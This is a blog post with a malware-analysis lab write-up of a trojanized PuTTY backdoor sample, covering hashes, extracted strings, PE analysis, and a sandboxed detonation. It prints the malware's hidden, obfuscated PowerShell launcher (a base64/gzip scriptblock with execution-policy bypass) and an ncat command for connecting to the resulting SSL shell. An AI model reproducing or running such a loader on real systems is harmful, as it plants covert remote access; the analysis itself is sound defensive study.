🐳
Swayam's Blog
LinkedinGithub
  • 🫚root@Swayam's Blog
  • 🕺About Me
  • 🛠️Projects
    • CurveLock
    • ShadowChain
  • 🐞Malware Analysis
    • Basic Malware Analysis
      • LAB Network Setup
      • Basic Static Analysis
      • Basic Dynamic Analysis
      • Advanced Dynamic Analysis
      • Advanced Static Analysis
      • Identifying Anti analysis techniques
      • Binary Patching
      • Shellcode Analysis
      • Malware.unknown.exe.Malz
      • Challenge-Sillyputty
      • Bind_shell RAT Analysis
      • Malicious Powershell Script
      • Malicious HTA(HTML Applications)
      • Phishing Excel Embedded Malware
      • Reversing Csharp And DotNET Framework
      • YARA rules
      • Automating Malware Analysis
    • MASM 64 Bit Assembly
      • Hello World Of Assembly Language
      • Computer Data Representation and Operations
      • Memory Access And Organization
      • Constants, Variables And Data Types
      • Procedures
  • 👨‍💻Malware/Exploit Development
    • Driver Development
      • Driver 101
      • Kernel Calbacks
      • Process Protection
      • Process Token Privilege
  • 📖Notes And Cheatsheets
    • OSCP / Application Security
      • OS stuff
        • Footprinting
        • Nmap
        • Shells
        • Metasploit
        • Windows Buffer Overflow
        • Windows
        • Windows Privilege Escalation
        • Linux Commands
        • Linux Privilege Escalation
        • Password Cracking
        • Pivoting And Tunneling
        • Macos
      • General Introduction
        • Basic Tools
        • Basic Networking
      • WebApps
        • Attacking Common Applications
        • Attacking Common Services
        • Broken Authentication
        • Burp Proxy
        • Common Apps
        • Command Injection
        • ffuf Fuzzing
        • File Inclusion
        • File Transfer
        • File Upload
        • Javascript Deobfuscation
        • Password Attacks
        • SQLi
        • Web attacks
        • Web Information Gathering
        • Wordpress
        • Brute Forcing
        • HTTP Curl
      • Active Directory
    • Wireless Attacks
    • Red Teaming
    • BloodHound
    • Pentesting
    • ADCS
  • 🚩CTFs
    • Google CTF
Powered by GitBook
On this page
  • Malware Details
  • Hashes
  • Static Analysis
  • Dynamic Analysis
  1. Malware Analysis
  2. Basic Malware Analysis

Challenge-Sillyputty

PreviousMalware.unknown.exe.MalzNextBind_shell RAT Analysis

Last updated 1 month ago

Malware Details


Name - putty.exe.malz Type - Backdoor

Hashes


MD5-

	MD5sum.exe putty.exe.malz

Output - 334a10500feb0f3444bf2e86ab2e76da *putty.exe.malz

SHA256-

	sha256sum.exe putty.exe.malz

Output -0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 *putty.exe.malz

Virustotal results - Malicious

Architecture of binary - Intel x86

Static Analysis


Strings-

Tool used - FLOSS

Command -

	floss.exe putty.exe.malz

Screenshot-->

Interesting Strings-->

User-Key-File-3
PuTTY-User-Key-FUser-Key-File-2
User-Key-File-1
ile-
on2-Parallelism
Argon2-Paralleli})D
PuTTY downstream no longer available
SSHCONNECTION@putty.projects.tartarus.org-2.0-
MNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@[\]^_`{
HL.FIG
bjnh.lyku
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Release 0.76
-Release-0.76
1fd7baa7344bb38d62a024e5dba3a720c67d05cf
0123456789ABCDEF
gss_init_sec_context
gss_delete_sec_context
DeleteSecurityContext
CryptReleaseContext
Copy to clipboard in RTF as well as plain text
Enable blinking text
Permit control characters in pasted text
Last selected text
BlinkText
Cursor Text
rxvt
PuTTY remote printer output
All session output
Printable output
Abort Output
timeout
About
Network error: Invalid argument
UserNameFromEnvironment
Comment
Proxy error: SOCKS server wanted IDENTD on client
config-ssh-tryagent
SSHManualHostKeys
Software\SimonTatham\PuTTY\SshHostKeys
CtrlAltKeys
ApplicationCursorKeys
SOFTWARE\MIT\Kerberos
auth-agent@openssh.com
auth-agent-req@openssh.com
hmac-sha1-96-etm@openssh.com
hmac-sha2-256-etm@openssh.com
hmac-md5-etm@openssh.com
hmac-sha1-etm@openssh.com
zlib@openssh.com
chacha20-poly1305@openssh.com
des-cbc@ssh.com
spoolss.dll
winmm.dll
sspicli.dll
shcore.dll
wship6.dll
crypt32.dll
secur32.dll
user32.dll
comctl32.dll
shell32.dll
Shell32.dll
kernel32.dll
wsock32.dll
advapi32.dll
ws2_32.dll
Software\SimonTatham\PuTTY\CHMPath
Software\SimonTatham\PuTTY64\CHMPath
winadj@putty.projects.tartarus.org
simple@putty.projects.tartarus.org

IAT analysis-

Tools used - PEview

Interesting results -->

Malware is in the form of a windows portable executable

Looking at IMAGE_SECTION_HEADER.text we get,

Virtual size and size of raw data is approximately same. Thus the binary is an unpacked binary.

A lot of libraries and APIs have been loaded. This confirms that the binary is an unpacked one.

Now for further analysis , open PEstudio.

Bringing it all together-

Tools used - PEstudio

Interesting results -->

Potential Malware indicators -->

File-header (intel-386) -->

Flagged IAT Imports-->

Out of total 326 imports, 51 of them were flagged as malicious with majority of them being focused on windowing and execution. But this doesn't conclude anything as legitimate putty program also uses these APIs.

Dynamic Analysis


Initial detonation

Without network - A blue powershell window pops up and closes itself immediately.

A normal putty window opens. Most probably the malware detected the sandbox.

With network -

The same happens on detonation of the sample.

Network Analysis

Tools used- inetsim and wireshark.

After detonation and capturing packets from the malware-

We see a http request for 3 files one after the other in wireshark -

And a DNS request -->

for the domain address-->

	bonus2.corporatebonusapplication.local

This domain address doesn't exist in our network. So we edit out hosts file to point to the windows box .

Command-->

		nano C:\Windows\System32\drivers\etc\hosts

Host Analysis

Tools used - procmon , tcpview

We fire up procmon and detonate the malware.

A lot of processes load up. Looking up process tree we get -

A powershell command is running in the background. This must be the blue window we saw at the beginning.The command is -

powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGq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dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

There is also a conhost.exe (console host) running under powershell which must host the above command. This is the command for a remote shell which the malware author might be trying to exploit.

We can conclude that this is a backdoor.

Converting the base64 string we get to know that the malware opens up a port on localhost:8443 and only communicates with ssl/https. Thus in order to interact with the shell we type-

	ncat -nvlp --ssl 8443

We run both the command and the malware and we get the shell -

🐞